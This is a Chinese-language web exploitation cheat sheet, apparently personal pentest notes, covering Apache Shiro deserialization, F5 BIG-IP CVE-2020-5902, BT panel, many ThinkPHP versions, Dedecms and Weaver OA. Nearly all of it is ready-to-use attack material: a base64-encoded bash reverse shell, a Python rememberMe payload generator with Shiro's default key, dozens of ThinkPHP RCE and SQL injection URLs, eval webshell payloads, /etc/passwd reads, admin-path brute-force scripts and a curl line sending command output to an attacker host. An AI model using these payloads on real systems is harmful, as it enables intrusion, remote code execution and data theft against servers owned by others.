web程序漏洞
最后更新于
Shiro
Shiro rememberMe反序列化漏洞
Shiro相关转自bypass公众号
https://github.com/insightglacier/Shiro_exploit
python shiro_exploit.py -u http://192.168.172.129:8080
通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
反弹shell
监听本地端口
nc -lvp 1234
Java Runtime 配合 bash 编码,在线编码地址:
http://www.jackson-t.ca/runtime-exec-payloads.html
将bash -i >& /dev/tcp/192.168.172.133/1234 0>&1编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
使用shiro.py 生成Payload
python shiro.py 192.168.172.133:6666
shiro.py代码如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
构造数据包,伪造cookie,发送Payload。
写入文件
生成poc.ser文件
sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}
Shiro Padding Oracle Attack
登录Shiro网站,从cookie中获得rememberMe字段的值
利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用构造的rememberMe攻击字符串重新请求网站
一键自动化漏洞利用工具
https://github.com/feihong-cs/ShiroExploit
shiro权限绕过
/;/test/admin/page
F5 BIG IP
F5 BIG-IP TMUI RCE(CVE-2020-5902)
https://raw.githubusercontent.com/jas502n/CVE-2020-5902/master/CVE-2020-5902.py
RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
读文件
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
执行Linux命令
/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmshCmd.jsp?command=list+/tmp/cmd
/tmshCmd.jsp?command=delete+cli+alias+private+list
宝塔
未授权访问
宝塔Linux面板7.4.2版本
宝塔Linux测试版7.5.13
Windows面板6.8版本
直接访问http://your_ip:888/pma
提权
https://github.com/Hzllaga/BT_Panel_Privilege_Escalation
ThinkPHP
Thinkphp 5
开启debug下的数据库连接
tp5.0.*在debug模式下如果在数据交互点构造如sql注入、空参数等方式使数据库查询等出错,在一定情况下可能导致数据库账号密码直接显示出来。(报错信息太细了不仔细容易忽略掉)
在debug模式下找注入点也可以通过报错语句进行构造,并且由于debug模式可能导致本来没有回显的注入变成报错注入。当然目标数据库无法外连的时候,这个注入就挺有用的了。
关于log文件的利用
log文件是runtime/log目录下的,比较常见的路径类似:
/runtime/log/2020001/01.log ,默认是启用的,关于该文件主要有以下三点利用方式。
1.关于http请求的部分
常见的log文件会记录http请求,如果对应的站点存在后台等登陆,可以通过记录请求中的cookie登陆后台。
2.关于构造sql注入
某些配置下日志还会记录sql语句的执行和报错,可以用于构造sql注入,但是一般这种利用比较少,需要先找到数据交互点然后和日志中记录的赋值以及报错一一对应。
3.关于cache文件名
tp下通过缓存文件获取webshell是一个老生常谈的问题,白盒下理论上都说得通,但是实际上在使用该漏洞的时候是存在部分难点的,如生成cache文件的方式,cache文件名等。
在log文件中可能存在cache文件生成时的报错,这样可以确定目标tp的cache文件命名方式等,举个例子:
在某次渗透中目标tp的log文件。
可以注意到这里由于生成缓存文件出错,导致直接将缓存文件的文件名输出。根据输出的缓存文件名去猜测生成规则,由于tp5的缓存文件命名默认是md5(value),所以大部分时候可以把文件名等带进value进行比对。
这里通过猜测和比对确定是view的文件绝对路径生成的cache文件名。
一般来说使用php原生的md5函数去生成md5比较稳妥,笔者为了方便直接在线加密的。
这里基本上就排除了cache getshell的一大难题。之后正常去寻找能进库的交互点,比如发帖,留言这种,就能想办法获取webshell了。
tp5路由
thinkphp系列的官方开发文档是期望网站运维人员将public设置为web根目录,即使用./public/index.php作为入口文件。在实际的渗透过程中由于thinkphp是框架涉及很多二次开发,部分开发人员会选择自定义一个入口文件而不置于public目录下,如/var/www/html/index.php的形式。这里会涉及到打exp的路由问题,由于部分开发人员自定的入口文件可能导致调用的路径出现差异。
一般来说打exp的时候尽量使用./public/index.php来打,以下列exp为例:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
可能会出现例如:
http://xxx/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/index.php?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
所以很多时候不是打一个exp无效就代表没洞,在黑盒测试的时候可能只是没有找对路由。
下面是实战中的案例:
可以看到如果以常规的exp进行测试是返回方法不存在的,因为原生路由被二次开发修改了,所以最终代码执行的payload如下:
5.0.*和5.1.*
相对来说5.0可利用的exp比较5.1要多一些,5.1主要的利用方式还是上面举例用的exp。
App.php出现问题的代码如下:
其实就是把反斜杠认定为类名,最终使得类实例化,具体的分析在这里就不拿出来水字数了。
而在渗透的过程中大的思路其实是差不多的,尝试多种exp,尝试读log文件等,可以通过简单比对两个版本的目录结构在没有其他信息的情况下判断版本。
TP5:
TP5.1:
如果网站不是以/public/作为根目录的话,又没通过报错直接体现版本的,可以通过访问目录看目录是否存在来做判断比如访问./thinkphp/,这里不推荐通过/app/目录来做判断,因为笔者遇到过很多开发者会修改这个目录,比方说改成/apps/,/applications/,也就无法准确判断是5.1还是5.0。
tp3的渗透思路
tp3 关于log文件相关的利用同上,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log。
sql注入
tp3的sql注入指的是框架层面的注入问题,即二次开发的时候如果调用了model内的find, delete, select方法的话,就可能出现注入问题。
对于白盒测试而言,只要model.class.php没修复然后找到调用了方法的地方就可以挖掘到注入。
以select方法简单做个分析。
Model.class.php
函数可以接受一个options参数,为了构成注入肯定是要进入到_parseOptions方法,也就是要绕过两次判断,也就是只要传输的options为数组,同时主键不是数组,就能进到_parseOptions方法。
可以看到传入options['table']或options['alias']且设置options['where']值为字符串,最终会options直接返回,整个过程是没有过滤的,然后进到ThinkPHP\Libray\Think\Db\Diver.class.php,进到select方法。
可以看到sql语句是最后的parseSql生成的。
跟进到parseWhere方法,只要绕过if,最终的return的sql语句是直接拼接的,也就是注入的产生原因,会直接带入select方法执行。
黑盒测试也比较类似,一般情况下找到数据库交互点后进行注入尝试即可。
cache写shell
cache写webshell的难点在于cache文件名的确定,一般情况下是md5(绝对路径)生成的cache文件,上文也提到某些情况下可以通过log文件确定cache文件名称
cache文件写入的时候会被注释,所以需要通过%0d%0a提行绕过注释。
所以最终的payload一般为:
%0d%0aeval($_POST['cmd']);%0d%0a//
找到参数影响页面的点后通过传参写入webshell,本地可以复现,实战中倒是没遇到过。
tp3渗透主要思路
tp3的渗透在实战中利用的点比较少,所以一般而言遇到tp3的目标,最主要的思路在于找log,然后通过log去看有没有后台之类的,相对来说较一起会比对框架的注入,cache写shell等靠谱。
tp3 关于log文件相关的利用同tp5,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log,文件名的格式可能会有变化,多尝试一下一般也能找到。
tp6的新型问题
tp6的利用链
关于model.php的__destruct()方法调用其他类__tostring()方法的文已经有人发过了,但是文中把poc打码了,这里简单跟一下。
将对象的lazySave属性设置为True进入save方法:
然后进updateData方法:
在checkAllowFields方法中调用db方法,图中方法中框起来的语句是可以拼接的,只需要将这两个属性中的一个设置为类对象,即可触发对象的__toString方法。之后的利用方式和tp5.*相同。
接着与tp5.*后的gadget是一致的,最终目的是要这个效果实现代码执行。
接下来是构造poc,由于测试利用链,笔者手写了一个unserialize。
然后通过Dido1960大佬的poc代码生成payload。
poc参见:
https://github.com/Dido1960/thinkphp/blob/master/v6.0.x/poc/poc.php
该利用链需求一个反序列化的可控点,二次开发在使用unserialize后可能导致代码执行。同时也可能利用该问题构成一个tp6的后门,如已经通过其他方式获取服务器权限,则可在某些地方加入unserialize函数实现反序列化的一个后门。
所有poc
Thinkphp5 rce poc
利用工具
https://github.com/wh1t3p1g/phpggc
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
未知版本
16、?s=index/\think\module/action/param1/${@phpinfo()}
17、?s=index/\think\Module/Action/Param/${@phpinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
21、index.php?s=/home/shopcart/getpriceNum/id/1%27
22、index.php?s=/home/user/cut/id/1%27
23、index.php?s=/home/service/index/id/1%27
24、index.php?s=/home/pay/chongzhi/orderid/1%27
25、index.php?s=/home/pay/index/orderid/1%27
26、index.php?s=/home/order/complete/id/1%27
27、index.php?s=/home/order/complete/id/1%27
28、index.php?s=/home/order/detail/id/1%27
29、index.php?s=/home/order/cancel/id/1%27
30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
thinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
thinkphp 5.1.* 和 5.2.* 和 5.0.*
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
Thinkphp5 注入 poc
需开启app_debug
http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Thinkphp5 文件包含 poc
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。
Thinkphp5 代码执行poc
5.0.0<=ThinkPHP5<=5.0.10
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
&
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
&
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
&
POST /?s=captcha
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
+号用urlencode编码为%2b,前后加ab为了凑足解码
/?s=captcha&r=phpinfo();
_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/read=convert.base64-decode/resource=c:\www\tmp\sess_kking&server[]=1
&
POST /?s=captcha&r=phpinfo();
Cookie: PHPSESSID=kking
_method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWM6XHd3d1x0bXBcc2Vzc19ra2luZw==&server[]=1
&
设置session
POST /?s=captcha
Cookie: PHPSESSID=kktest
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
Thinkphp6 任意文件创建
需可控session参数,如username
/index.php?username=<?php phpinfo();?>
Cookie:1234567890123456789012345670.php
Cookie需32位
在runtime\session下生成
sess_1234567890123456789012345670.php文件
无回显情况下
找台dnslog
&server[REQUEST_METHOD]=curl xxx.dnslog.io
或用自己的vps
curl http://YOURIP/`command`
可以反弹shell或find网站文件,wget下载shell进去
3.2.x RCE
关闭debug
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
开启debug
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
寻找上传点直接传
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
thinkphp 3.2.3 注入
where注入
利用字符串方式作为where传参时存在注入
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注入
这里使用全局数组进行传参(不要用I方法),漏洞才能生效
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
bind注入
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注入
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))
thinkphp利用工具
https://github.com/Lotus6/ThinkphpGUI
https://github.com/zangcc/Aazhen-v3.1
https://github.com/Lucifer1993/TPscan
https://github.com/Lotus6/ThinkLog
Dedecms
爆破后台
windows服务器
tags.php
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.test.com/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("后台地址为:",back_dir)
rss.php
import requests
import sys
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
menu = ''
for k in range(10):
for payload in payloads:
data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload)
res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"})
if res.content.decode("utf-8").find("Error") > -1:
menu += payload
break
if payload == '-':
print(menu)
sys.exit()
print(menu)
dedecms前台重置任意管理员密码
https://xz.aliyun.com/t/1959
伪造cookie登录任意前台用户
注册用户user1
访问
/member/index.php?uid=user1
登录user1
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie
前台上传shell
Admin登录,发表文章,修改文件名1.jpg.p*hp
后台文件上传
访问/dede/tpl.php?action=upload
F12获取token
访问
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c
Shell位置/include/taglib/moonsec.lib.php
后台getshell
模块->广告管理->新建广告,在广告内容中添加一句话
/plus/ad_js.php?aid=[x]
泛微(Weaver-Ecology-OA)
泛微OA E-cology RCE(CNVD-2019-32204)
url+/weaver/bsh.servlet.BshServlet/
script中执行exec("whoami")
unicode绕过
\u0065\u0078\u0065\u0063("whoami")
字符串拼接绕过
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
泛微OA WorkflowCenterTreeData接口注入(Oracle数据库)
POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0